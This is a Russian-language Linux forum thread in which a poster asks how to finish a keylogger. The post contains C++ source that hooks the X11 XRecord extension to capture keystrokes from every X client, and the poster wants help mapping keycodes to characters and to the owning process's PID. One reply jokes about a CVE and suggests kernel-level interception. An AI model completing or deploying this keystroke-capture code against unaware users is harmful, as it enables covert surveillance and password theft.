LINUX.ORG.RU

Кейлоггер. Как получить символ из кода клавиши?

 ,


0

2

Здравствуйте дорогие ребята. Мне нужно написать кейлоггер для Линукса, который бы сопостовлял нажатые клавиши с процессом которому принадлежал ввод в тот момент. Прочитав разные статьи в инетренете и просмотрев много примеров реализации кейлоггеа, я выбрала способ - подписываться на события от X11. Т.е. я подписываюсь на события клавиатуры и получаю нажатие клавиш в любом окне. Но к сожалению мне никак не удаётся решить две проблемы: я получаю некоторый код нажатой клавиши и не могу его перевести в символ на клавиатуре с учётом ещё и языковой раскладки. Вторая трудность, что мне никак не удаётся найти PID процесса, которому в тот момент времени принадлежал ввод с клавиатуры. Может кто сможет мне подсказать как мне решить две мои проблемы? Привожу в пример свой код: Файл KeyboardTracker.hpp

//
// Created by tania on 23.05.24.
//

#ifndef NFLDMODULE_KEYBOARDTRACKER_HPP
#define NFLDMODULE_KEYBOARDTRACKER_HPP

#include <Poco/Task.h>
#include <Poco/Logger.h>
#include <Poco/Environment.h>
#include <X11/Xlibint.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <X11/cursorfont.h>
#include <X11/keysymdef.h>
#include <X11/keysym.h>
#include <X11/extensions/record.h>
#include <X11/extensions/XTest.h>
#include <X11/XKBlib.h>
#include <X11/Xatom.h>
#include <sync/LDSyncConfig.hpp>
#include "KeyPressInfo.hpp"

namespace tasks
{
    class KeyboardTracker : public Poco::Task
    {
        public:
            explicit KeyboardTracker(Poco::Logger& logger);

            // переопределяемый метод, который запускает нашу задачу в отдельном потоке
            void runTask() override;

            /* метод получающий признак связи с Xorg сервером. Связь эта происходит путь установки
             * переменной окружения XAUTHORITY
             * данный метод является слотом в ответ на сигнал, который сообщает признак того,
             * что переменная окружения XAUTHORITY установлена
             @param flag - признак успешности или неудачи установки переменной окружения XAUTHORITY
             * */
            void isSetXAUTHORITY(bool flag);

            /* метод устанавливающий значения текущего дисплея в системе
             * данный метод является слотом в ответ на сигнал, который сообщает нам номер дисплея
             @param number - номер дисплея
             * */
            void setDisplay(int number);

        private:
            // данный метод подписывается на события клавиатуры, посредством графической оболочки Xorg
            void subscribeEventsKeyboardXorg();

            // данный метод является callback-функцией которая вызывается при получении события от клавиатуры
            void keyPressedHandler(XPointer pointer, XRecordInterceptData *d);

            // Класс для синхронизации работы таска с логинами и тасковвв, использующих Xlib
            //LDSyncConfig& LDSyncConfig_;

            // ссылка на логгер который ведёт у нас логирование
            Poco::Logger& logger_;
            // флаг, который показывает что мы уже запустили кейлоггер и повторно запускать его не нужно
            bool isStart_{false};

            // номер текущего активного дисплея в системе
            int currentDisplay_{-1};

            // признак того, что в другой задаче произошла установка переменной окружения XAUTHORITY
            // которая необходима нам для работы с библиотекой X11
            bool isSetXAUTHORITY_{false};

            // период по которому мы повторяем действия в runTask
            const int32_t sleep_period_{10000};    // 4 секунды

            std::string keyPressCodes_{};

            Display* display_{nullptr};
    };

    struct KeyPressInfo
    {
        std::string code;
        std::string value;
    };
}

#endif    //NFLDMODULE_KEYBOARDTRACKER_HPP

KeyboardTracker.cpp

//
// Created by tania on 23.05.24.
//

#include "KeyboardTracker.hpp"

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

namespace tasks
{
    KeyboardTracker::KeyboardTracker(Poco::Logger& logger)
        : Poco::Task("KeyboardTrackerTask"),
          logger_(logger) {}

    void KeyboardTracker::runTask()
    {
        logger_.information("Starting KeyboardTracker");

        while (!isCancelled())
        {
            if (!isStart_) {
                if (isSetXAUTHORITY_)
                {
                    logger_.information("KeyboardTracker exec subscribeEventsKeyboardXorg()");
                    subscribeEventsKeyboardXorg();
                    isStart_ = true;
                }
            }

            logger_.information("KeyboardTracker is working....");
            this->sleep(sleep_period_);
        }
    }

    void KeyboardTracker::setDisplay(int number)
    {
        currentDisplay_ = number;
    }

    void KeyboardTracker::isSetXAUTHORITY(bool flag)
    {
        isSetXAUTHORITY_ = flag;
        logger_.information("KeyboardTracker: XAUTHORITY установлена!!!");
    }

    void KeyboardTracker::subscribeEventsKeyboardXorg()
    {
        XRecordRange* rr;
        XRecordClientSpec rcs;
        XRecordContext rc;

        try {
            //auto display_str = ":" + std::to_string(currentDisplay_);
            //setenv("DISPLAY", ":0", 1);
            std::string str = Poco::Environment::get("DISPLAY");
            logger_.information("KeyboardTracker::subscribeEventsKeyboardXorg display=%s", str);

           display_ = ::XOpenDisplay(NULL);

            if (display_)
            {

                rr = XRecordAllocRange();
                rr->device_events.first = KeyPress;
                rr->device_events.last = ButtonPress;
                rcs = XRecordAllClients;
                rc = XRecordCreateContext(display_, 0, &rcs, 1, &rr, 1);
                XFree(rr);

                auto callback = [](XPointer closure, XRecordInterceptData* data) {
                    ((KeyboardTracker*)closure)->keyPressedHandler(closure, data);
                };
                XRecordEnableContext(display_, rc, callback, ((XPointer)this));

            }
            else
                logger_.information("KeyboardTracker::subscribeEventsKeyboardXorg XOpenDisplay failed!");
        }
        catch (std::exception& ex)
        {
            XCloseDisplay(display_);
            logger_.critical("Critical error in subscribeEventsKeyboardXorg(): %s", std::string(ex.what()));
        }
    }

    /* for this struct, refer to libxnee */
    typedef union {
        unsigned char    type ;
        xEvent           event ;
        xResourceReq     req   ;
        xGenericReply    reply ;
        xError           error ;
        xConnSetupPrefix setup;
    } XRecordDatum;

    void KeyboardTracker::keyPressedHandler(XPointer p, XRecordInterceptData *d)
    {
        KeyboardTracker* pointer = (KeyboardTracker*)p;

        pointer->logger_.information("KeyboardTracker::keyPressedHandler");

        if (d == nullptr || d->category != XRecordFromServer)
        return;

        XRecordDatum *data = (XRecordDatum*) d->data;

        int event_type = data->type;

        BYTE keycode;
        keycode = data->event.u.u.detail;
        switch (event_type) {
                case KeyPress:
                    //pointer->keyPressCodes_ += keycodes_.at(keycode) + ",";
                    pointer->logger_.information("keycode = %s", XKeysymToString(XKeycodeToKeysym(pointer->display_, keycode, 0)));
                    break;
                case ButtonPress:
                    //pointer->keyPressCodes_ += keycodes_.at(keycode) + ",";
                    pointer->logger_.information("keycode = %s",XKeysymToString(XKeycodeToKeysym(pointer->display_, keycode, 0)));
                    break;
                default:
                    break;
            }

        XRecordFreeData (d);

        if (pointer->keyPressCodes_.length() > 50)
        {
            pointer->logger_.information("keyPressCodes: %s", keyPressCodes_);
            pointer->keyPressCodes_.clear();
        }
    }
}

Вот эта cтрока у меня не отрабатывает - XKeysymToString(XKeycodeToKeysym(pointer->display_, keycode, 0)); Под отладкой я просто зависаю на ней... но ничего не получаю. Кто может подсказать как ещё можно получить символ из кода ?



Последнее исправление: Dimez (всего исправлений: 1)

Ответ на: комментарий от EXL

Я уже столько раз пробовала прикрутить эту функцию, но никак не могу. У меня ведь нет здесь XIC структуры, которую она требует в парамтерах. Я пыталась и структуру создавать, передавая дисплей и RootWindow, но ничего не получаю в итоге. Может вы можете подсказать как мне в коде это сделать ?

genevieve
() автор топика

А проникает через CVE-2024-6387?

подписываться на события от X11

Переключился на Wayland, теперь не боюсь твоего кейлоггера =)

Ладно, если серьезно копай в околоядерный перехват или что-то на подобном уровне

GREAT-DNG ★★★★
()
Последнее исправление: GREAT-DNG (всего исправлений: 1)